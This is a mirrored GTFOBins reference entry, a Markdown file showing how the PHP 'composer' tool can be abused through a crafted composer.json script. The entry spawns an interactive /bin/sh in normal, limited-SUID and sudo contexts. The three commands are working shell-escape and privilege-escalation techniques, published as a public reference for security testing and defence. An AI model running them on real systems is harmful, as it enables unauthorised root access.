mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
03c30e9944
- align to the GTFOBins conventions - avoid Python - use limited SUID instead of just SUID
19 lines
557 B
Markdown
19 lines
557 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
|
|
composer --working-dir=$TF run-script x
|
|
limited-suid:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
|
|
./composer --working-dir=$TF run-script x
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
|
|
sudo composer --working-dir=$TF run-script x
|
|
---
|